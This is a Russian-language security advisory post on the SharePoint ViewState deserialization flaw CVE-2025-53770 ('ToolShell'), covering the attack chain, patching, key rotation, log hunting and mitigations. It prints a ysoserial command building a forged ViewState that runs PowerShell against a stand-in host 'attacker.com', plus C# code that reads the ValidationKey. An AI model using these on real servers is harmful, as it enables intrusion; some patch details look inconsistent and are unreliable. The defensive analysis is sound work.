🔥 Критическая уязвимость в SharePoint угрожает компаниям по всему миру!

Microsoft срочно выпустила патчи для двух нулевых уязвимостей в SharePoint с рейтингом 9.8/10! 🔥 Эксплойты уже используют хакеры для кражи учетных данных и получения привилегированного доступа к корпоративным данным. 💥 Атаки зафиксированы в глобальном масштабе, включая госструктуры.

Совет для админов: Немедленно установите обновления! 🛡️ Microsoft выпустила экстренные фиксы CVE-2025-53770 и CVE-2025-53771. Не ждите — риски компрометации серверов катастрофически высоки. Мониторьте активности и проверяйте журналы доступа. #кибербезопасность #microsoft #itновости ⚠️

Executive Technical Summary

Критическая уязвимость в Microsoft SharePoint Server (CVE-2025-53770) с рейтингом CVSS 9.8 позволяет неаутентифицированным злоумышленникам выполнять произвольный код через механизм сериализации __VIEWSTATE. Атаки с использованием связки эксплойтов (CVE-2025-49704/CVE-2025-49706) уже привели к компрометации десятков enterprise-окружений по всему миру.

Техническая триада уязвимости:

1. Утечка ValidationKey через инъекцию в память .NET
2. Подделка подписанных __VIEWSTATE с помощью ysoserial
3. RCE через десериализацию с привилегиями SharePoint AppPool

# Пример генерации malicious VIEWSTATE через ysoserial
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
  -c "powershell -nop -c \"Invoke-WebRequest attacker.com\"" \
  --validationkey="[LEAKED_KEY]" \
  --validationalg="SHA1"

Core Technical Analysis

Архитектурный разбор уязвимости

Уязвимость коренится в небезопасной десериализации объектов ASP.NET ViewState в контексте:

1. Недостаточная изоляция MachineKey: ValidationKey хранится в web.config с правами доступа IIS AppPool
2. Унаследованная логика сериализации из SharePoint 2013 Workflow Manager
3. Отсутствие валидации подписей при обработке __VIEWSTATE в legacy-компонентах

Реверс-инжиниринг эксплойта ToolShell

Атакующие используют цепочку:

1. Утечка ValidationKey через Reflection:

   var config = WebConfigurationManager.OpenWebConfiguration("/");
   var section = (MachineKeySection)config.GetSection("system.web/machineKey");
   return section.ValidationKey;

2. Генерация поддельного VIEWSTATE с ysoserial:

• TypeConfuseDelegate гаджет для выполнения PowerShell через Delegate.CreateDelegate

3. Persistent Access через:

• Автоматическую установку веб-шелла в _layouts/15
• Создание скрытых SharePoint групп с правами Full Control

Стратегии реагирования

Полный цикл восстановления

1. Экстренное обновление:
   • SharePoint Subscription Edition: версия 24H2 KB5025432
   • SharePoint 2019: декабрьский cumulative update 2025
2. Ротация ключей:

   <!-- web.config -->
   <system.web>
   <machineKey validationKey="[NEW_GUID]" decryptionKey="[NEW_GUID]" ... />
   </system.web>

3. Forensic-анализ:
   • Поиск аномалий в IIS logs:

     SELECT * FROM W3CIISLog 
     WHERE csUriStem LIKE '%/_layouts/15/%.aspx'
     AND scStatus BETWEEN 200 AND 299
     AND timeTaken > 5000

Мониторинг IOC

• Хэши веб-шеллов: SHA256(8a3c4b…)
• Паттерны запросов к /_vti_bin/Client.svc
• Аномальные активности Managed Metadata Service

Enterprise Mitigation Roadmap

1. Immediate:
   • Запрет внешнего доступа к Central Admin
   • Включение AMSI для PowerShell-скриптов
2. Mid-term:
   • Миграция на SharePoint Online с Conditional Access
   • Внедрение Zero Trust для Service Accounts
3. Strategic:
   • Переход на Modern Authentication
   • Применение Private Link для гибридных сценариев